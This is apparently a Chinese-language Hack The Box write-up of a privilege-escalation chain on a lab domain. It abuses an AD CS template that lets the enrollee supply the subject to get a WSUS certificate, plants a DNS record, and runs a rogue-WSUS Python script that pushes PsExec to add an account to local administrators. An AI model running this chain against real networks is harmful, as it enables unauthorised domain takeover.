Rubeus.exe tgtdeleg /target:ldap/DC01.logging.htb /nowrap
枚举AD CS证书
export KRB5CCNAME=jaylee.ccache
certipy find -k -dc-ip 10.129.126.0 \
-dc-host DC01.logging.htb \
-target DC01.logging.htb
Certificate Templates
0
Template Name : UpdateSrv
Display Name : UpdateSrv
Certificate Authorities : logging-DC01-CA
Enabled : True
Client Authentication : False
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : True # ← 可以自定义CN/SAN
Certificate Name Flag : EnrolleeSuppliesSubject
Extended Key Usage : Server Authentication
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Schema Version : 2
Validity Period : 10 years
Renewal Period : 6 weeks
# 注册权限只有 IT 组,jaylee就是IT组
这是给 WSUS 服务器签 SSL 证书用的模板。路线就清晰了:
用 UpdateSrv 模板签一张 CN=wsus.logging.htb 的证书
↓
伪造 WSUS 服务器(HTTPS)
↓
ForceSync 任务每 120s 自动来连
↓
推送恶意更新包 / 中间人
申请证书
certipy req -k \
-dc-ip 10.129.126.0 \
-dc-host DC01.logging.htb \
-target DC01.logging.htb \
-ca logging-DC01-CA \
-template UpdateSrv \
-upn wsus.logging.htb \
-dns wsus.logging.htb
Certipy v5.0.4 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Request ID is 7
[*] Successfully requested certificate
[*] Got certificate with multiple identities
UPN: 'wsus.logging.htb'
DNS Host Name: 'wsus.logging.htb'
[*] Certificate has no object SID
[*] Try using -sid to set the object SID or see the wiki for more details
[*] Saving certificate and private key to 'wsus.logging.htb_wsus.pfx'
[*] Wrote certificate and private key to 'wsus.logging.htb_wsus.pfx'
添加dns记录
bloodyAD -d logging.htb \
-u jaylee.clifton \
-k \
--host DC01.logging.htb \
--dc-ip 10.129.126.0 \
add dnsRecord wsus 10.10.16.83
[+] wsus has been successfully added
验证
C:\Users\jaylee.clifton\Documents\Tickets>nslookup wsus.logging.htb
nslookup wsus.logging.htb
Server: localhost
Address: 127.0.0.1
Name: wsus.logging.htb
Address: 10.10.16.83
安装wsuks
pip install --user wsuks
安装payload:wget https://live.sysinternals.com/tools/PsExec64.exe -O /tmp/PsExec64.exe
把 pfx 转成 pem
openssl pkcs12 -in wsus.logging.htb_wsus.pfx -out wsus_srv_cert.pem -clcerts -nokeys -passin pass:
openssl pkcs12 -in wsus.logging.htb_wsus.pfx -out wsus_srv_key.pem -nocerts -nodes -passin pass:
创建 run_wsuks.py
import ssl, sys, os, logging, threading
from functools import partial
from http.server import HTTPServer
sys.modules['wsuks.lib.router'] = type(sys)('stub')
sys.modules['wsuks.lib.router'].Router = object
from wsuks.lib.logger import initLogger
initLogger(debug=False)
from wsuks.lib.wsusserver import WSUSUpdateHandler, WSUSBaseServer
HOST = '10.10.16.83'
EXE = '/tmp/PsExec64.exe'
COMMAND = '/accepteula /s cmd.exe /c "net localgroup administrators msa_health$ /add"'
exe_bytes = open(EXE, 'rb').read()
h = WSUSUpdateHandler(exe_bytes, os.path.basename(EXE), f'http://{HOST}:8530')
h.set_resources_xml(COMMAND)
def serve(port, use_tls):
httpd = HTTPServer((HOST, port), partial(WSUSBaseServer, h))
if use_tls:
ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
ctx.load_cert_chain('wsus_srv_cert.pem', 'wsus_srv_key.pem')
httpd.socket = ctx.wrap_socket(httpd.socket, server_side=True)
httpd.serve_forever()
threading.Thread(target=serve, args=(8530, False), daemon=True).start()
serve(8531, True)
运行
python3 run_wsuks.py
等待获取两个Get后
*Evil-WinRM* PS C:\Users\msa_health$\Documents> net localgroup administrators
Alias name administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Administrator
Domain Admins
Enterprise Admins
msa_health$
toby.brynleigh
重新登录evil-winrm即可
其他
WSUS 更新机制要求:
- 客户端信任 WSUS 服务器的 TLS 证书
- 推送的可执行文件必须有微软签名(PsExec 满足这个条件)
- 更新元数据格式必须正确,客户端才会进入下载阶段
pywsus 在第三点上有问题,对 Server 2019 的产品分类匹配不上,导致客户端认为"0 updates"。wsuks 修复了这个元数据格式问题。